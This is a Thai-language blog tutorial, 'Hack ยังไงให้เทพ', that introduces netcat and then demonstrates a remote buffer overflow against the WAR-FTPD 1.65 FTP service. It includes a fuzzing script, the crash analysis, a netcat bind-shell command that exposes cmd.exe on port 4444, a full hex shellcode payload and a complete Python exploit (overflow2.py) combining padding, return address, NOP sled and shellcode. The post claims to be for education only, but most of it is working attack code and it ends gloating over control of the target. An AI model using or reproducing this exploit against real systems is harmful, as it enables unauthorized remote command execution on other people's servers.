วันอาทิตย์ที่ 3 เมษายน พ.ศ. 2554

Hack ยังไงให้เทพ

How to hack back to the basic

Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!!!!

    ในบทความครั้งนี้ผมจะมานำเสนอสิ่งที่เป็นที่สงสัยกันมากแต่ไม่รู้จะหาคำตอบที่ไหน สงสัยว่า Hacker เนี่ยเขาทำอะไร เขา Hack ยังไง บทความนี้น่าจะเป็นบทความภาษาไทยครั้งแรกๆในไทยที่ออกมาแฉอย่างละเอียด และผมอยากให้ทุกคนสามารถอ่านเข้าใจได้แม้ว่าเรื่องราวมันจะค่อนข้างซับซ้อน ผมจึงได้ลดคำศัพท์ยากเๆและอธิบายด้วยภาษาบ้านๆให้ทุกคนสามารถเข้าใจได้ซึ่งบ้างจุดอาจจะไม่ตรงเป๊ะแต่เพื่อให้ผู้อ่านเข้าใจง่าย ผมอยากให้คนอ่านได้ Concept เป็นพอครับ ไม่งั้นได้อธิบายกันเป็นมหากาพย์แน่ๆ

ผมจะแนะนำ Tools ในตำนานตัวหนึ่งซึ่งมีประโยชน์มากๆ ในการเรียนรู้การทำงานของ Network และการเปิด Service ต่างๆ ซึ่งสามารถนำความรู้ไปเป็นแนวทางในงานด้าน Network Programming ได้ผมหวังว่าบทความนี้จะจุดประกายความคิดให้ใครสักคน ซึ่งนั้นก็ถือว่าประสบความสำเร็จแล้ว

   

Link download :

http://www.thaiseoboard.com/go/?http://www.downloadnetcat.com/nc11nt.zip       <<< Windows version

http://www.thaiseoboard.com/go/?http://www.downloadnetcat.com/netcat-0.7.1.tar.gz   <<< Linux version

link ข้างบนนั้นเป็น link download เจ้า netcat กับ source code ของมันซึ่งมันถูกเขียนขึ้นมาด้วยภาษา C อายุของเจ้า netcat นี้ก็ราวๆเกือบสิบปีแต่ก็ยังนำมาใช้งานจนถึงปันจุบัน (ยิ่งเป็นด้าน IT ด้วยไม่เทพจริงอยู่ไม่ได้นานขนาดนี้หรอก ^^)

สำหรับการใช้งานของเจ้าตัว netcat นั้นจะแบ่งออกเป็น 2 ส่วนนะครับคือ

1.ใช้เป็น Server คำสั่งในการใช้งานเบื้องต้น 'nc -lp [port]'    <<< ทำการเปิด [port] เช่น 'nc -l 123' ก็จะทำการเปิด service บน port 123

2.ใช้เป็น Client คำสั่งในการใช้งานเบื้องต้น 'nc [target IP] [port]' <<< ทำการ connect ไปยัง IP และ port นั้นๆ

การประยุกต์ใช้งาน

1.เปิด Web Service(เบื้องต้น)

2.Chat

3.File tranfer

4.Spoof

5.Remote Buffer Overflow Huh???(ผมจะโชว์อันนี้แล้วกัน!!!)

6........

Remote Buffer Overflow คืออะไร เอา Buffer Overflow ก่อนละกันมันคือการทำให้ Virtual Memory ของโปรแกรมที่กำลังทำงานอยู๋นั้นเกิดการล้นซึ่งมันจะล้นไปทับในส่วนอื่นของโปรแกรมที่กำลังทำงานอยู่ผลโดยทั่วไปก็คือจะทำให้โปรแกรม Crash นั้นเอง ส่วน Remote Buffer Overflow ก็คือการทำให้เจ้า Virtual Memory นั้นล้นทับส่วนอื่นของโปรแกรมเหมือนกันแต่เป็นการทำจากระยะไกลหรือเครื่องอื่นนั้นเอง

ถามว่าเราจะทำได้แค่ให้มัน Crash แค่นั้นหรือปล่าว คำตอบคือเหนือกว่านั้นเยอะสิ่งนี้ทำให้ผมถึงกลับหลงใหลมันจนถึงปัจจุบันเลยทีเดียว คือเราจะเข้ายึด Flow ในการทำงานของโปรแกรมที่กำลังทำงานอยู่ให้มันแปลงร่าง backdoor แทนเพื่อให้เราสามารถเจาะเข้าไปได้แทน !!!

เอาล่ะเรามาเริ่มกันเลย

เริ่มจากมี Windows Server เครื่องหนึ่ง Run Service ต่างๆอยู่ ตามนี้


โดย Service ที่เราจะโจมตีครั้งนี้คือ FTP Server โดยทดสอบการ Connect ได้ผลตามนี้

root@bt:~/bof# nc 10.66.244.196 21

220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready

220 Please enter your user name.

User anonymous # ผมลอง login ด้วย anonymous แต่ปรากฏว่าไม่ได้

421- Anonymous access not allowed.

421 Control connection closed.

ขั้นต่อไปเราจะลอง Overflow ในส่วนของ Input Username โดยเราจะลองใส่ Username ให้มีความยาว 777 ตัวอักษรซึ่งในที่นี้ผมเขียนสคริปขึ้นมาป้อน Input เอา(ไม่ไหวจะกด ==")

โดย Script ของผมมี Code ดังนี้

#!/usr/bin/env python

print 'USER '+'w'*777

ตั้งชื่อ Script นี้ว่า overflow1.py หลังจาก run ผลได้ตามนี้

root@bt:~/bof# python overflow1.py | nc 10.66.244.196 21

220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready

220 Please enter your user name.

331 User name okay, Need password.

^C

หลังจากนั้นผมได้ลอง Connect เข้าไปอีกที ปรากฏว่า !!!

root@bt:~/bof# nc 10.66.244.196 21

(UNKNOWN) [10.66.244.196] 21 (ftp) : Connection refused

โอ้วโนนนน Service นั้น Crash ไปแล้วโอ้บระเจ้าโจ๊ก !

ทีนี้เราจะมาดูในฝั่งของ Windows Server ว่าเกิดอะไรขึ้น ตามรูป


โอ้วโนนนน(อีกรอบ) Stack Memory ล้น จนไปทับ EIP แล้ว

หมายเหตุ ESP คือ Pointer ที่ Stack สูงสุดอยู่ในที่นี้คือ 0098FD8C

EIP คือ Pointer ที่ชี้ไปยังตำแหน่งของคำสั่งที่จะทำงานต่อไป ในที่นี้โดน Stack Memory ล้นทับจนมีค่าเป็น 0x7777777 โดยที่เลข 77 คือค่า ASCII ของตัวอักษร 'w' ที่ผมส่งไป 777 ตัว

ทีนี้เราก็รู้สาเหตุที่มัน Crash แล้ว ตอนนี้เราสามารถควบคุม EIP ให้ชี้ไปที่ไหนก็ได้ หึๆ

จะเป็นยังไงถ้าเราชี้ไปที่ตำแหน่งที่เราฝั่งเจ้า Code วายร้ายเอาไว้!!!! อาจจะยังไม่เห็นภาพมาดูกันเลย

ขั้นตอนต่อไปเราก็มานั้งไล่หาว่าส่งไปกี่ตัวมันถึงจะไปทับเจ้า EIP เป๊ะๆเพื่อจะได้เปลี่ยนเจ้า EIP ให้ชี้ไปที่ตำแหน่งที่เราต้องการ โดยครั้งนี้เราจะแนบเจ้า Code วายร้ายไปด้วยโดนชื่ออย่างเป็นทางการเขาเรียกมันกันว่า ShellCode โดยเจ้า Code วายร้ายนี้ก็ไม่ใช่ใครอื่นไกลมันคือเจ้า nc ในโหมด Server นั้นเอง(ในบทความนี้) เพื่อไปเปิด Connection ให้เราสามารถเจาะเข้าไปได้

หมายเหตุ เจ้า nc ในโหมดวายร้ายคือ "nc -l -p 4444 -e C:\winnt\system32\cmd.exe" อธิบายแบบบ้านๆคือมันจะเปิด port 4444 แล้วเมื่อเรา connect เข้าไปเราก็จะได้ Shell ของเครื่องเป้าหมายนั้นเองแต่เราต้องแปลงร่างเจ้า nc ในโหมดวายร้ายให้เป็นภาษาเครื่องซะก่อนเพื่อให้มันทำงานได้โดยตรงเมื่อ EIP Pointer ชี้ไปให้มันทำงาน แปลงร่างได้ Code ประมาณนี้

shellcode = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"

shellcode += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"

shellcode += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa"

shellcode += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f"

shellcode += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb"

shellcode += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"

shellcode += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"

shellcode += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"

shellcode += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"

shellcode += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"

shellcode += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"

shellcode += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"

shellcode += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"

shellcode += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"

shellcode += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"

shellcode += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"

shellcode += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"

shellcode += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"

shellcode += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"

shellcode += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"

shellcode += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"

shellcode += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"

shellcode += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"

shellcode += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"

shellcode += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"

และนี้คือที่มาของคำว่า ShellCode ขออภัยที่จำที่มาของเจ้า ShellCode ตัวนี้ไม่ได้ =="

ที่นี้เราก็จะทำการส่งเจ้า Code นี้ไป Run ที่เครื่องเป้าหมายซะ แต่เราจะส่งไป Run แบบเหนือชั้นกว่าการส่งโทรจันไปหลอกให้เหยื่อรันแบบในสมัยก่อนนะเธอว์

ขั้นต่อไปเราก็มาเขียน Code เพื่อส่งมันไป Run

#!/usr/bin/env python

# Video : [PoC] http://www.thaiseoboard.com/go/?http://www.youtube.com/user/mayaseven 

shellcode = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"

shellcode += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"

shellcode += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa"

shellcode += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f"

shellcode += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb"

shellcode += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"

shellcode += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"

shellcode += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"

shellcode += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"

shellcode += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"

shellcode += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"

shellcode += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"

shellcode += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"

shellcode += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"

shellcode += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"

shellcode += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"

shellcode += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"

shellcode += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"

shellcode += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"

shellcode += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"

shellcode += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"

shellcode += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"

shellcode += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"

shellcode += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"

shellcode += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"

print 'USER '+'w'*485+"\x8b\x89\xe8\x77"+"\x90"*16+shellcode

โดยผมเซฟมันชื่อว่า overflow2.py ทีนี้ผมจะอธิบาย Code ของผมสักหน่อย

'w'*485 ส่วนนี้คือ buffer ที่พอดีให้อีก 4 Byte ข้างหน้าลง EIP

"\x8b\x89\xe8\x77" ส่วนนี้คือส่วนที่จะลง EIP พอดีเพื่อให้ JUMP ไป Run ShellCode จริงๆแล้วมันเรียงกับด้านด้วยเหตุผลของสถาปัตยกรรม endian กับ little endian

"\x90"*16 ส่วนนี้คือส่วนล่อเป้าเป็นเทคนิค NOP Sled คือประมาณว่า JUMP มาแล้วถึงไม่ตรงเป้าก็ให้มันลงตรง NOP นี่แระละฟ่ะมันจะได้ทำงานต่อไปจนถึง ShellCode โดยไม่ Crash ซะก่อน เออลืมบอก NOP คือ No Operation คือถ้า EIP ชี้มาตรงนี้มันก็จะเลื่อนไปตำแหน่งต่อไป

shellcode ก็คือเจ้า nc ในโหมดวายร้ายนั้นเองนะเธอว์ (อาจจะ Abstract ซักหน่อยจินตนาการเอาละกันไม่รู้จะอธิบายยังไงให้ดีฟ่านี้แล้ว)

มาขั้นสุดท้ายยิงมันนนนนนนนนนนนน



เรียบร้อยควบคุม Server เป้าหมายได้แล้ว ที่เหลือก็ หึๆๆๆ

ปล.เพื่อการศึกษาเท่านั้น !!! No Grean

1 ความคิดเห็น:

ไม่มีเครดิตหรอครับ

แสดงความคิดเห็น

Share

Twitter Delicious Facebook Digg Stumbleupon Favorites More